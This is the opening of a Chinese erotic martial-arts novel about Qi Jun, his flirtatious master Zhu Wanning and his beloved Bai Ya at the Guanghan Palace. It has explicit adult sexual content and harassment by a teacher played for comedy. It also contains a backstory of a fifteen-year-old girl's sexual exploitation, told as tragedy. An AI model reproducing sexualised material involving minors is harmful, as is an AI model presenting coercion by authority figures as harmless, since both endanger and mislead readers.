江湖醉红尘[玄幻武侠]

 
  「小俊,事情办得妥了?」轻柔缤纷纱幔之后,酥柔娇慵女音传出。在堂下躬身而立身一个少年郎,生得虎背熊腰,只是那一张脸却不似身材哪样粗豪,不但看着颇为俊朗,而且稚气未脱。魁梧少年小心翼翼回道:「禀师傅,弟子江北蜂盗已经被弟子灭了。」江湖上谁人不知,江北蜂盗一伙危害一方,奸淫掳掠无恶不作。这少年郎一举灭掉匪帮,乃是大快人心之举,可此时他说了出来,却是唯唯诺诺,底气不足。
「呦!厉害了!江北蜂盗的武功可是各个不弱,你居然将他们能挨个宰了,可见功夫见长啊。你说,师傅该怎么奖你?」纱幔后女子虽然被堂下少年称作师傅,可是言语中并无半分师长威严,反而透着一股轻佻调笑的味道。
堂下少年脸红了,垂着头,紧张兮兮道:「弟子岂敢妄言功绩,弟子全凭师傅调教的好,才敢擅自去将这伙匪帮剿灭。师尊义薄云天,为江湖除害,为天下英雄豪杰楷模。弟子为师傅效力,不仅是份内之责,更是三生之幸。」「扑哧」一声,纱幔后女子笑了出来,轻啐一声,道:「小油嘴子,学会拍马屁了。祁俊,你给我滚上来。」「嗯……」听了召唤,祁俊脸上更显慌张,咬了咬牙,慢吞吞地走上前去,轻轻掀起了纱幔。只见宽大软榻之上,一名女子半躺半卧,那女子生得国色天香,妖娆艳丽,肤若凝脂,体态丰盈,顾盼间含春眼波流转,妩媚动人。女子高挽云髻,身上披一件粉红轻纱,冰肌雪肤若隐若现,内中一件水蓝抹胸护着高挺玉峰,大片洁白乳肉露在外面,挤出深邃沟壑,叫人为之心动。下身是一条与轻纱同色的长裙,虽不透亮,可半撩在膝头,显出两条白皙匀称小腿,一双雪白玉足也赤着,圆润脚趾上涂着鲜红蔻丹,同样惹人遐思。
这就是祁俊的师傅无祝婉宁。祝婉宁在江湖中素有无双夫人美名,一是赞她武功超卓,天下无双,二也是暗指其人绝代风华,艳姿无双。祝婉宁执掌的广寒宫,本来行事低调,极少在江湖中抛头露面,江湖中人甚至不知有这一门派存在。
可自从祝婉宁接任掌门后,广寒宫弟子屡在江湖中行走,诛奸除恶,连连做下大快人心之事,不几年就名声鹊起,声威远播。如今江湖正道中人提起广寒宫来无不挑起大指,称一声赞。邪魔外道则是恨得咬牙切齿,欲将广寒宫拿了下来,占为己有。
可为何只是想攻占,而不是斩尽杀绝呢?原来这广寒一派自掌门起,全是清一色的女子,且女子更是一个个貌美如花娇艳动人,怎不叫那些心怀不轨之徒想入非非。
这三年来,祁俊时常见到师傅这般惹火打扮,叫他一个做徒弟的也禁不住心猿意马。
硬着头皮站在师傅面前,祁俊眼睛都不知道放哪看,只好直愣愣看着地板。
「过来,坐。」祝婉宁给祁俊腾了地方,拍着软榻让他坐在身旁。祁俊刚规规矩矩坐下,祝婉宁就身子转过来,一条纤细藕臂搭在祁俊肩上,整个身子倚了过去,胸前丰乳毫无顾忌地压在弟子手臂上,鲜红嘴唇贴着祁俊耳朵,口息如兰,娇声道:「做得不错,咱们广寒宫定然要比金乌殿的声威更胜一筹了,师傅坐定这天极门主的位置了。你想要什么,都跟师傅说,师傅什么都许了你。」所谓广寒金乌,皆归做天极门所属。可此时,天极门却尚未有个门主。故此天极中人要广寒金乌二堂在天下行侠仗义,斩奸除恶,十年之中,哪一家为世间除害最多,哪一家在江湖声威最盛,便是天极正主。
满鼻都是祝婉宁身体幽香,祁俊连连深吸了几口气,让躁动不安的情绪稳定下来,咬着牙叫苦道:「师傅,别的弟子不敢要,就求您放过徒儿,您总这样,徒儿怎么受得了?」祝婉宁抿嘴笑着撇了祁俊高高鼓起地胯间一眼,随即把俏脸一沉,狠狠揪住祁俊耳朵,怒道:「臭小子,长本事了是不是,没我的命令你也敢溜出去。」祁俊疼得哇哇直叫,讨饶道:「师傅饶命,师傅饶命,弟子再也不敢了。」祝婉宁好歹是松开了手,没好气白他一眼,嗔怪道:「小俊,说多少次了,让你留在宫里就好,你要是有个三长两短的,我可怎么向你死鬼老爹交代?你爹那老东西,死了也还要害人,让你这臭小子整天来气我。」被人这么数落先父,换做旁人,祁俊早翻脸了,可惟独面对祝婉宁,他大气都不敢出一声,低眉顺眼一句一句地听着。没辙,谁叫老爹年轻时欠下了风流债,现在他老人家驾鹤西去,轮到他这个当儿子的父债子偿来了。六年以前,祁俊老爹临走之前的遗言交代,祁俊成年之前必须在祝婉宁手下为奴三年,才能算是把他爹欠的债给还了。何况重伤了他老爹的恶人,是祝婉宁亲手斩断了手脚,带到祁俊面前让他报了大仇。于是祁俊一受父命,二为报恩,只好乖乖地跟着祝婉宁到广寒宫来,给这刁蛮师傅随意欺凌。
其实这师傅对他也还好,刀子嘴只是偶尔,豆腐心却是平常……是吃他豆腐的心……动不动就要调戏勾引一番。据祝婉宁曾经无意间透露,祁俊和他爹年轻时长得一模一样,叫她实在动心。
不过除却总要被师尊调戏的「痛苦」之外,祁俊还是乐得留在广寒宫中的,只因这广寒宫里,清一色全是女子,唯一一个男人就是他了。百花从中,祁俊还真有点乐不思蜀,连那劳什子庄主都不想接任了。
「师傅,我再也不敢了。」祁俊立了功,还要认错,心里要多憋屈有多憋屈。
眼珠一转,他又有主意了,谄媚笑道:「对了师傅,你看这是什么?」从怀里一摸,一打银票献了上去,果然叫祝婉宁笑逐颜开:「江北蜂盗那里得来的?」「嗯嗯,还有三千多两银子,二百多两黄金,珠宝首饰什么的。都交到账上了。」祁俊连连点头。
「真乖。」祝婉宁柔若无骨的香滑玉手无限温柔地抚摸着祁俊帅气脸庞,让祁俊心里又是一阵发毛。接过来一个甜蜜秋波,才听祝婉宁媚声道:「好俊俊,师傅可爱死你了。要不师傅陪你一晚,帮你破了童子身?」祁俊一个血气方刚的小伙子,又是童男,面对貌美如花,妩媚动人的师傅百般挑逗,能不动心才怪。
他甚至真想就这般把师傅拥了过来,好好享受一番她美妙肉体……正天人交战之际,一个如出谷黄莺一般娇甜声音传来,「师傅,你又再调戏祁大哥了!」救星来了!
祝婉宁身后屏风转出一名少女来,那少女乌发如云,眉目如画。冰雕玉琢一张绝美脸庞上,无比精致的五官中带着浑然天成的纯美灵秀。她身穿一袭杏白绣花缎裙,微风吹过,裙带飘舞,仿佛仙子飘落九天,不占一丝凡尘俗气。这少女正是广寒宫中祝婉宁的最心爱的弟子白雅。
祝婉宁讪讪一笑,不再和祁俊腻歪,坐正了身子,若无其事道:「雅儿,怎么不去练功跑到这里来了?」「我要不来呀,祁大哥只怕是要被师傅你给吃了呢。」白雅娇艳红唇嘴角翘起,似笑非笑,仿佛是嘲弄师尊不守礼法,连个徒儿也要调戏。
广寒宫不似寻常门派,尊卑有别戒律森严。祝婉宁这个掌门,不但和徒儿们嘻哈笑闹打成一片,过分的时候时常会说些有关男女情事的话语,叫人面红耳赤,心生绮念。尤其是和白雅,这几年几乎形影不离,便是母女血亲,也不过如此。
不过这种事情被白雅撞见了,祝婉宁还是有些心虚,「嗤嗤」笑着道:「傻丫头,师傅这不和小俊开玩笑么?又没把他怎么样。」白雅小嘴俏皮一撇,美目转了几转,也不接祝婉宁的话,自顾道:「徒儿听说祁大哥出去挑了江北蜂盗,故此过来瞧瞧,祁大哥,你没受伤吧?」说着双目望向祁俊,眼中尽是急切关爱之色。这便让祝婉宁这个做师傅的抓住了把柄,戏谑道:「小雅儿,你说师傅要吃了你祁大哥?只怕你莫不是要留着自己吃吧?」「师傅!」毕竟是闺中少女,白雅怎受得了祝婉宁这般调笑,埋怨一声,面红耳赤顿足就逃了开去。
祁俊夹在一对儿美貌师徒中间,追也不是,不追也不是。他在进入广寒宫第一日见到白雅就惊为天人。也许是上天眷顾,女神似地佳人对他从无冷言,两人相处甚欢,私下里已成无话不谈的要好朋友。
可谁也看得出来,祁俊心仪白雅,绝不愿将关系止于好友。但是单恋中男女最是患得患失,祁俊可真怕若是冒失表白,他和白雅便连朋友也做不得了,是以一直只敢默默关心呵护,半分爱意也不敢吐露。
他可真是当局者迷,旁观之人早都看清,白雅望向祁俊眼神时常也是温情款款,透出爱恋,就拿这回祁俊出走来说,白雅比谁都急,每天几次去问当值弟子祁俊可曾归来。
好不容易将祁俊盼了回来,又听说这番擅自离门是找江北蜂盗晦气,心急如焚,生怕他受了伤害,急慌慌不等祁俊向师傅禀报完毕,就赶来看他。在后堂偷听了片刻师徒对话,听出祁俊绝无受伤迹象,本来就想退下,可是师傅又调戏起了心中爱郎,一下子忍不住了,不惜被师傅戏谑调笑,现身替他解了围。
祁俊愁眉苦脸看看祝婉宁,又望望离去白雅的背影,终是无可奈何。
好在祝婉宁并非不解风情,摇了摇头,叹了口气,道:「小俊,你去吧。见到雅儿,就跟她说,师傅玩笑过了,给她赔不是了。」祁俊松一口气,忙不迭道一声「是!」急急赶着白雅离去方向也去了。祝婉宁长叹一声,喃喃道:「可怜一对儿小情人儿,也不知今生可有缘分……」白雅没跑多远就被祁俊赶上了。听见身后祁俊叫她,站住了脚步,聘婷回首,道:「祁大哥,师傅放了你了?」祁俊苦笑道:「雅儿,那是师傅非要……」被心中佳人看到了别个美女亲近,祁俊自然要说明状况,他固然也贪恋和祝婉宁一起的旖旎风光,可却更盼着能得白雅垂青。
白雅无所谓笑一笑道:「行了,不用说了,我还不知道,师傅就那样子……」祁俊为难道:「唉……我也不想啊。」为了撇清自己,祁俊此时不惜做个出卖师尊的奸佞小人了。
白雅扑哧一声笑了,轻啐道:「口是心非,我才不信,师傅是大美女,难道你不愿和她亲近?」「我……」祁俊一点也不傻,但是在白雅面前总是笨嘴拙舌,这也算是关心则乱。既不肯欺骗佳人,又不想承认贪色,只好岔开话题道:「师傅说她玩笑开大了,给你赔不是,你别忘心里去。」白雅幽幽叹道:「师傅对我那么好,我怎会怪她。」方才所见,毕竟涉及男女情事,白雅并不愿继续下去,话锋一转,问道:「祁大哥,刚才你还没告诉人家,这次出去可有险情。」说起此次独自征剿江北蜂盗,祁俊又来了精神,总算有资本在佳人面前吹嘘一番了,他自然不会错过这大好机会,于是把胸膛一挺,大言不惭道:「怎会有险情?我这身功夫乃是广寒神技,那般宵小毛贼怎么能伤得了我?」「讨厌!羞不羞?」白雅被祁俊怪模怪样逗得忍俊不禁。祁俊已然一本正经道:「羞个什么?我又不是自夸,说得是咱们广寒宫的武学。咱们广寒宫武学精深,我自然不会受伤。」白雅道:「就你会吹牛,这番话你对师傅说去。照我看呐,你用得是你祁家的枪法吧。」祁俊可知道白雅心思灵巧,什么都瞒不过他,只好嘿嘿笑着承认了:「我用枪法熟一些,毕竟练剑才几年而已。你可不要对师傅去讲。她可讨厌我用我家的武功了。」祁俊家传追魂夺命枪,也是一门绝学。
白雅不屑道:「你以为师傅那么精明猜不出啊?她就是不跟计较。」祁俊吐吐舌头心知白雅所言不假,又道:「对了,雅儿,我给你带了礼物回来,在我房里呢,你随我去取。」「嗯……」白雅犹豫了,毕竟她一个女孩子去男子房中还是有些不便的,可想了想,她还是点头了。
因广寒宫是女子门派,弟子们多是二三人同住一间,但祁俊这唯一一名男子,就只好独住了。清幽雅静一间卧房,有专人打扫的一尘不染,可见祝婉宁对这个故人之子有多关照。
祁俊取过床榻上一个长条包袱,打了开来,里面赫然是一柄连鞘长剑。「这是江北蜂盗那里得来的,我看着还好,就带了回来,将这剑柄剑鞘从新装裹一下,正好合你用。」说着将长剑递予白雅。白雅拔剑一看,只见剑身轻薄,流光四溢,寒气逼人,果然是柄利器。将宝剑还入剑鞘,白雅脸上露出甜甜笑意,心中喜得并非得了宝剑,而是因祁俊历险之际仍把她记挂心间。
见到佳人欢喜,祁俊心花怒放。忽然间,他和白雅长相厮守之念更加强烈了,痴痴看了白雅片刻,直把一个娇滴滴绝色少女盯得含羞垂首。祁俊才胀红脸颊,嚅嗫着开了口:「雅儿,我有话对你讲。」白雅已然猜到祁俊所想,沉下了心,漠然道:「祁大哥,你讲。」祁俊横下一条心,把牙一咬,道:「雅儿,你知道,我来广寒宫只能停上三年,过不久,我就要回家了……」白雅点头道:「我知道。」祁俊又道:「我想让你随我一同离开,你愿意吗?」祁俊说得很委婉,可也很明白。把话说完,他的心扑通乱跳,瞬间提到了喉咙,只等着白雅发落。
白雅闻言娇躯巨震,精秀双眸中闪过一丝欣喜,随即又变得暗淡,勉强挤出一丝笑容,颓然道:「祁大哥,你对雅儿有心,雅儿明白,只是……只是雅儿只怕要辜负了祁大哥的好意。雅儿……」白雅忽然停住,深吸一口气,果断道:
「恕雅儿不能答应祁大哥美意。」
祁俊顿时如同斗败的公鸡,一下子泄了气,可他还是强颜欢笑道:「没事,没事。就当我没说……」白雅面带惨淡愁容,低声道:「要是没事,雅儿先走了。」「哦,好,我送你……」「不用了……」月西斜。
清幽广寒寂静无声。
祁俊仰面朝天,和衣而卧,蛮憨少年出师不利,为情所困,破天荒的失眠了。
他却不知,此时广寒宫内,亦有人如同他一般心事重重,难以成眠。
「师傅,他今日向我求亲了……」白雅身边是和她一样片缕为着的师尊祝婉宁。师徒二人固然皆是女子,这般依偎同眠,也是难合礼数。更何况,锦被下,白雅芊芊素手正抚在祝婉宁高耸玉峰上。而两人四腿,也纠缠一起,香胯间玉露未尽,粘腻湿润,刚经过一场同性相欢。
祝婉宁道:「我就猜到你有心事,练功也不尽心。才早早叫了停……你回绝了?」「嗯……」听白雅不情不愿声音,就知她不舍祁俊。
祝婉宁柳眉凝锁,长吁短叹,半晌才开口道:「雅儿,你的事情,我本不该多言。可我实在不忍心你行那飞蛾扑火之事。退上一步,海阔天空。何苦非要白白葬送自己?」白雅目光一寒,坚决道:「师傅,你为雅儿好,雅儿晓得,可是我意已决。
而且事到如今,也再无退路,您不必劝我了。」祝婉宁又是一声长叹,想了想,忽然提高了声音:「白雅!无论如何,你这一身功夫也是我所传授,我的话你听是不听?」白雅恭敬回道:「雅儿当然听师傅的话,可若是那件事,师傅就莫要再说了。」祝婉宁又重回温软语调:「你这苦命的孩子,为何如此执拗?」白雅黯然道:「雅儿自知命苦,从不敢多做妄想。」「可你又为何告诉师傅他向你求亲呢。」祝婉宁平静道。
「……」
白雅漠然。
祝婉宁道:「雅儿,醒醒吧。你要做的事情,太难太险,眼前有珍惜你的人,你若错过,岂不是要抱憾终身。我可告诉你,祁俊这小子我看的清楚,虽然是富家子弟,可是人品方正,漫无心机,对你又是情有独钟,你可要把握住啊。」白雅痛苦地闭上了双眼,许久才道:「师傅,您说的我懂得。不错,祁大哥爱雅儿,雅儿心中也有祁大哥,因此……因此雅儿想将身子给了祁大哥,也了却一桩心事。」祝婉宁并不因白雅苦情相诉有半分感动,冷笑一声,不屑道:「你糊涂,你以为这样就能了了心事,从此再无记挂,不留遗憾了么?我告诉你,你这般只会更加牵挂他。他也会更加爱你,一旦你遭了不测,你就不怕他为你作出不智之举么?」「这……」白雅无言以对,她将一切想得太过简单了。
师徒二人彻夜长谈,东方既白时,白雅坚定之心终于动摇了。可是她仍有最后一件心事难以释怀,偎在祝婉宁温暖怀抱中,白雅泪痕未尽,轻声问道:「师傅,可徒儿这体质……」祝婉宁神色也是一黯,颓然道:「总会有办法的……」第2章:广寒秘史纵然多日奔波又一夜未眠,对体壮如牛的祁俊也是不在话下,可此时他面容惨淡,神情萎顿,全是因为遭了白雅拒绝,无论做何事都提不起劲来。
垂头丧气站在那里,哪怕面前师尊穿得比昨日还要惹火,他依旧打不起精神。
这美女师尊,今日穿着更加要命。粉红纱裙还在,内中紧束摸胸却变成了宽松肚兜,白花花沉甸甸一双大奶多半个露在外面,稍个不慎,就连殷红乳尖也晃了出来。若说上身还有几块布片遮挡也就罢了,下身就完全是不堪入目,粉红纱裙固然垂及脚面,可毕竟透光露肉,和内中轻薄亵裤交叠一起,也模模糊糊地将隐秘处黑绒显现。
祝婉宁穿着风骚,可面上却是冰寒如霜,凤目渺起,紧盯祁俊不放,沉吟半晌一言不发。直让祁俊心里发毛,他固然心有所思,可是因少见祝婉宁如此严肃,不由得心中暗道:「我这是犯了什么大错,叫师傅这样看我。」又胡思乱想:
「难不成是雅儿在师傅面前告我一状,说我在她面前胡言乱语。」想想又不可能,就算被拒绝,祁俊也信极白雅人品,绝不是搬弄是非的小妇人。
好不容易等到祝婉宁开口,果然是和白雅有关:「小俊,昨天你和白雅说了些什么,你还记得么?」这可是事关祁俊终身大事,他怎么可能不记得,想起被心上人拒绝,祁俊心中愈发难受,偏偏师傅又要提起,他不能不答,点了点头,道:「弟子记得。」「哼!」祝婉宁冷笑一声,「好你个祁俊,有些胆子。刚刚在外面做了大事,回来又要拐我爱徒,我问你,你何德何能啊?」冷嘲热讽,绝非祝婉宁平日待祁俊态度。祁俊不解,扬起星目回望祝婉宁,凄凉面色略带不忿。
祝婉宁一句不饶祁俊,仍旧连声责难:「在我这里待了三年,一点好处没捞着,眼瞧着要走了,找个最美的姑娘睡上几天,你也算不虚此行啊?对不对?」「到时你拍拍屁股走人,回去做你的玉湖庄主,白雅一个孤苦伶仃的,找你不见,寻你不着,你可全无后顾之忧啊!」连番嘲弄,字字诛心,惹得祁俊再难隐忍,目露恶色,低声吼道:「师傅明鉴,我是想娶白雅为妻,绝无始乱终弃的念头。」「哦?你说得轻巧,那我来问你,男婚女嫁,父母之命,你禀过谁了?是你娘亲同意了,还是我这个做师傅的同意了?」祝婉宁句句如刀,问得祁俊哑口无言。
祁俊不向祝婉宁求亲不是没有原因,只祝婉宁不时在他面前做出种种撩拨媚态,可叫他心生惧意,吃不准祝婉宁是真心还是假意,万一要是吃起白雅醋来,一口回绝,他更无退路。若是白雅首肯,他先斩后奏,说不定还能据理力争。
祝婉宁又道:「怎么样,无话可说了吧?我看你就是想玩玩,吃干抹净,擦擦嘴走人。好,既然你是这般人品,你这就给我滚出宫去!再也不要回来!」祁俊终于忍无可忍,强烈反驳道:「你这是污蔑,我对白雅绝对一片真心,即便与她无缘,我也从不敢有半分亵渎。若是我有半句虚言,叫我天打雷劈。」「行了,行了!好端端地说这个。」祝婉宁虽然还是皱着眉头,话语却软了下来,眼中更是几分嘲弄,几分得意。
「你!」祁俊气得直跺脚,心道又被着鬼灵精师傅耍弄了,她好歹也是一派掌门,如何总作出这般幼稚之事。
祝婉宁又把祁俊唤道了身旁,待他坐下,并未欺身挑逗,不屑道:「看你那狼狈模样我就气不打一处来,雅儿不肯嫁你,你就这样啊,还有没有点男子汉的样子了?想想你爹当年……算了,不提那死鬼……」祁俊郁郁心情被祝婉宁如此一搅,反而舒畅许多。但他也知道祝婉宁既然知道了他向白雅求亲,这番叫来定然和此事有关,说不定是要宽慰他。
祝婉宁显示幽幽长叹一声,却提起了她说过的不提之人,「小俊,你可知当年我为何不曾和你爹在一起?」祁俊当然不知道这段往事,茫然摇了摇头。
祝婉宁忽然满面凄凉,全不似平日快乐做派,默然许久才缓缓开口:「雅儿和我一样,都是一样的命,此生命运多舛……」祝婉宁再一开口,和白雅毫无关系。
一段江湖惊天秘闻从祝婉宁口中娓娓道来,只听得祁俊心惊肉跳,恨得少年咬牙切齿!
话说天极门不过成立三四十载,创建之后,数年间便称雄武林,声势如日中天,几有领袖江湖之势。天极门固然高手如云,名家辈出,可能有此盛威却绝非朝夕所就,比如武圣门、无量道这般门派,最短也是经历百年风雨才成江湖领军门派。区区一个天极门,如何一步登天,乃是江湖中不为人知之秘。
但无论如何,天极门斩妖除魔,也是武林正道,对于其崛起之谜,旁人固然有疑也不过多追问。只不过,这天极门自从称雄之后,行事极为霸道,对江湖门派内中事务多有干涉。有门派不服于他,顷刻便被剿灭。幸存含冤者遍请武林同道主持公道,却一股脑都向着天极门说话,以至于许多门派对天极门所为敢怒而不敢言。
天极门朝夕之间崛起,陨落也是弹指之间。话说二三十年前,天极门忽然销声匿迹,数年无声无息,直到十年之前,才出现广寒金乌二门,自称天极遗脉,在江湖中走动。尽管也是行侠义之举,可是声威又怎及当年,如今不过是江湖中二三流的小门小户。
祁俊年纪不大,对天极门传说只是略有耳闻,自从进了广寒宫,也听祝婉宁讲过天极门一二,不过对天极门过往的江湖恩怨仍是一无所知。睁大眼睛听了祝婉宁讲完天极往事,道:「师傅,您入天极门已久,只怕知道其中隐秘吧?」祝婉宁粉面冷若冰霜,咬牙切齿道:「我怎么不知?这般衣冠禽兽全都该受千刀万剐之刑!」三十几年以前,祝婉宁还不满十岁,便被当时声势正盛的天极门收入门下,入得便是这广寒宫。那时广寒宫也如同今日一般,尽是貌美如花的女子,不过当年的广寒女徒,不修内功,不练剑法,单单习得是一门叫做「春情媚」的功法。
只听其名,便知这功法绝非正道。不错,「春情媚」乃是专为女子修习的媚术。习得此功法的女子,可以青春常驻,娇颜不衰,略施手段就可叫男人死心塌地拜倒裙下。可是这门功法却也能改变女子体质,使修习过得女子沉沦色欲,难以自拔。
天极门当初设立这广寒宫,便是收集天下娇娃,专门训练,一为供其门人淫乐,二则送与各派掌门、江湖名宿,以美色手段拉拢邀买。
得了天下群雄支持,是以天极门才可在短时间内称霸武林。
在当时,随意一个天极弟子只要建有功勋,就可到广寒宫中淫乐数日,广寒女子任其玩弄。到了喜庆节日,天极门或是在广寒宫排宴庆贺,或是邀请所谓武林正道中人到此玩乐,广寒宫便成了酒池肉林,随处可见交欢男女,一宫上下,污秽不堪。
祝婉宁就在这种环境中成长,待她刚满一十五岁,出落的亭亭玉立,「春情媚」稍有小成,便有个头戴金色面具的老者将其破身。从此祝婉宁便如同宫中其他女子一般,被无数男人奸淫玩弄。
祝婉宁不同于其他女子逆来顺受,她无一时不想逃出这广寒淫窟。终于有一日,时机到了,祝婉宁侥幸脱逃,就在那几年,结识了祁俊的父亲。两人暗生情愫,就在要成就好事之前,祝婉宁不忍心欺骗祁俊父亲,将过往全盘道出。祁俊父亲虽然心爱祝婉宁,却不能释怀她不堪往事,终于没有接受这苦命女子。
两人分道扬镳,祝婉宁一时失魂落魄,不幸又被天极门所擒,带回广寒宫,她以为她即将受到无尽折磨。
可是,其时的广寒宫主告诉她,天极门经历了一场巨变,已经不复存在了。
如今祝婉宁已是自由之身,去留皆由她自行决定。将她擒回广寒宫,只是要告诫她严守广寒宫之秘,不得向外人吐露一字,否则必将斩尽杀绝。
那时祝婉宁身无立锥之地,亦因情所伤,便决心留在了广寒宫。当时宫主也是天资过人之人,不知如何从天极门得到几种精妙武学,便教与广寒弟子用来防身。祝婉宁聪颖伶俐,最是出众,其时宫主谢世之后,便将位置传给了她。
当年的广寒宫主对于天极门消逝原因守口如瓶,从不肯多言半字,祝婉宁也不清楚天极门为何突然无影无踪。直到十年前,昔年的金乌殿镇殿使金无涯忽然找上门来,自称已成金乌殿主,意图恢复当年天极门淫邪风气,却被祝婉宁所伤,狼狈逃走。
祝婉宁本以为从此可以相安无事,却不料,不几日后突然有高手夜袭,祝婉宁力战不及,为来人制住。来人不伤人,不徒色,只对祝婉宁提出一个要求,要她广寒弟子从此在江湖中以天极门名义现身诛杀奸邪,并许下承诺,十年之内,广寒宫与金乌殿谁在江湖中声威高,谁便可执掌天极十年。
祝婉宁问起来人是谁,那人答道:「三重天王。」天有九重,愈高愈险。三重天天王武功已非祝婉宁所及,其上六重难以估量。
至于九重天上又有天外天,天极门主的实力已是祝婉宁无法想象的了。
祝婉宁没有选择,她只能同意。虽然福祸未卜,但却能保得广寒一门暂时无忧。
这便是广寒宫一门女子多在江湖中行侠的缘由,祁俊听了既为天极门残害女子兽行愤慨,也因祝婉宁终于能脱离苦海所庆幸。
他在广寒宫中三年,又不是瞎子聋子,怎么会不知道祝婉宁多和男子交往。
听了祝婉宁讲述才知,是因她修习了旁门左道的邪法才饱受情欲折磨的。以前稍稍有的不耻,此时全变成了同情。他天性纯良,想到老爹临阵退缩,伤了祝婉宁的心,心里不知怎地倒替祝婉宁抱起不平来。
但说了这么半天,他可是等着师傅说白雅的事呢,怎么提起往事来了?祁俊猛然省悟,难不成白雅也修习了「春情媚」不成?按说白雅入门是在广寒宫脱离天极门掌控之后,那些女孩子再没必要修炼这种淫邪法门了呀。
心里打鼓,想问又看祝婉宁还沉浸在对往日的哀思之中,一时也不便开口。
倒是祝婉宁讲述过这些之后,终于将话题带到了白雅身上,「小俊,你和雅儿相处也有几年了,你可知她出身如何?」祁俊摇了摇头,他只道白雅不过是广寒宫中祝婉宁最疼爱的弟子,至于她出身来历并不曾问过。想着祝婉宁提了天极往事,难道白雅和天极门还有什么其他渊源么?
祁俊猜错了,白雅的出身和天极门一点关系都没有。
祝婉宁道:「白雅出身高贵,乃是以前朝白丞相的孙女,在白雅幼年时候,其祖父遭奸佞陷害,一夜之间被屠尽满门,只有一个老奴带着她和她姐姐逃了出来,白雅后来和老奴、姐姐失散,辗转投到我门下,是想学了武功去复仇的。她犹豫是否嫁你,便是怕牵连了你。」祁俊可算松了一口气,怪不得白雅虽有时对他显出情意,事到临头又断然拒绝,原来是怕连累了他,于是急忙表白道:「师傅,您去和雅儿说,她的仇就是我的仇,我想尽办法也会帮她家复仇的。」祝婉宁摇了摇头,道:「你以为将武功练得高深,就能和朝廷对抗了么?你可知道,她那仇家便是如今权倾天下的义王萧烈。」祁俊登时愣住了,他虽然身在江湖也知道义王萧烈何许人也。此人一手遮天,便是皇帝也要让他三分。萧烈又笼络江湖奇人异士,身边高手如云,不要说行刺,寻常就是近身也难能。然则一旦败露,身首异处不说,必然又引来一场灭门惨祸。
祁俊若是孤身一人,也不见得多惧怕义王萧烈的权势。可是在祁俊身后,还有玉湖庄一庄上下,他再懒于搭理哪些俗务,却也不能让他们平白送了性命。
江湖中门派除了绿林道,谁敢与朝廷抗?这无异于以卵击石,自取灭亡。况白雅孑然一身,又怎能成功。祁俊绝不愿看到白雅飞蛾扑火。他苦了脸,恳求祝婉宁道:「师傅,您可要好好劝劝雅儿,她这般做只会白白丢了性命啊。」祝婉宁微微一笑,道:「怎么不是。我已经劝过她了,时隔多年,她心思也有所松动,尤其是你出现之后,相较复仇,你也让她难以割舍。」祁俊由优转喜,这么说不但雅儿可能不去赴险,反而有可能让他娶回家去了?
不由得脸上带了喜色,立时被祝婉宁看了出来。
祝婉宁把脸一绷,道:「祁俊,你莫要高兴太早。我实话告诉你,今天叫你来,雅儿是知道的,也是雅儿要我问问你的意思。她可以为了你放弃复仇。可是,我不得不告诉你,当初她为了完成她的心愿,便打算以色相诱惑萧烈再行刺杀。
向我求了许久,我才将『春情媚』的秘法教给了她。她一旦破了身子,也会和我一样,饱受情欲所惑,说不定被人稍一挑逗就要做出不贞之举,到时你还不是要将她弃了。」祁俊这可傻了眼,原来心怡女神邪法在身,竟然都随时有红杏出墙的可能,这可叫他如何是好。可是想想白雅如仙子落入凡尘的绝世容颜,真叫他难以割舍,又怕若是自己说出不想要她,她便去行刺义王,白白葬送。心里翻几个个儿,终于下定决心道:「师傅,弟子思量过了,此生若不能娶白雅为妻,必将抱憾终身。
纵然雅儿体质特异,哪怕……哪怕将来有个什么的,弟子也愿与她相伴一生。这话您尽可对雅儿去讲,弟子绝不反悔。或是弟子这就去见雅儿,当面和她说个明白,对天明誓。」「祁俊,我已经是前车之鉴了,凡有男子向我求欢,只要我还看得过眼的,我可是历来不拒,若是雅儿将来像我这般样子,你能受得了?」祝婉宁冷眼打量祁俊,并不信他。
可怜一个小少年郎,还没娶亲,就要为将来帽儿颜色烦扰。但他实在太爱白雅,更不能见死不救。心里转了一千遍,也想不出个「不要」二字,一心一意只有雅儿的好,满腔满腹都愿照应女神一生一世。
他大声道:「师傅,弟子下定决心了。一定要娶雅儿,将来……将来……反正就是要娶她。」这话说完,就听屏风后传来嘤嘤啼哭,再看祝婉宁也是泪滚香腮,满面悲戚,她咬一咬牙,恨声道:「你那死鬼老爹,若是有你半点真情,说不定你就要叫我娘了……」说完轻唤一声:「雅儿,你都听见了,还不出来。」话音刚落,仙子一般白雅莲步生风,衣带飘飘从屏风后跑出,一头扎进祝婉宁怀中,痛哭流涕。
祁俊眼看佳人悲伤难过,也不知如何相劝,只等着祝婉宁轻抚白雅秀发,轻声安慰道:「傻丫头,哭个什么,咱们可早就说好了,要是他知道了,仍不计较,你就要嫁了他。」「嗯……」白雅啼声渐止,仍是伏在祝婉宁怀里一动不动,毕竟说得是她终身大事,身体的隐秘又叫未来夫君知道了,可怎叫她和祁俊相见。
趴了许久,白雅才被祝婉宁强硬推开,一张清丽脸庞仍是梨花带雨,垂着红彤彤婆娑泪眼,哪里敢看祁俊。
祝婉宁看看两个小儿女,又是一笑,道:「行了祁俊,我也不吓唬你了,雅儿身子没我说得那么不堪。你呀,好好待她,将来在床上把她喂得饱饱,不见得她就非得找野男人去。」祁俊怎么听这话都不是滋味,可是既然应了,也只能勉强笑笑。
白雅则把头垂得更低,只因她和祝婉宁有约定,今日定然将话讲明。否则一个女儿家被这么说了,早就逃之夭夭了。
祝婉宁肃然道:「春情媚乃是一门邪术,修习过得女子一旦破身多有贪淫之举,我便是其中一例。不过这只是身体所需,绝非心性所致。只要能忍得住,不见得就成个淫乱妇人,何况雅儿修习春情媚时日并不太长,远不似我这般受害至深。」顿了一顿,又对白雅道:「雅儿,你若决心嫁了祁俊,便要恪守礼法,决不可像师傅一样,你懂么?」白雅沉吟片刻,终于鼓起勇气抬头望了望祁俊,轻声道:「祁大哥,雅儿蒙你错爱,此生绝不负你。」祁俊道:「雅儿,你放心,这辈子,无论怎样,我都会疼你珍惜你。」互吐衷肠,含情脉脉对视片刻,白雅向祝婉宁盈盈下拜,明志道:「师傅放心,弟子谨记您的教诲。」祝婉宁点点头,又对祁俊道:「讨了白雅这媳妇,你可有的享受了,不过呀,我可说过了,你得喂得饱她才行,我这里倒也有些适合男子修习的房中术,到时候传了你去,你可给我用心学。」「嗯……是……」祝婉宁一句话,可又让一对儿小情人儿臊红了脸。祝婉宁可不管两个弟子羞是不羞,撂下这句话,起身边走。只留祁俊白雅独处房中,一时间,气氛无比尴尬。
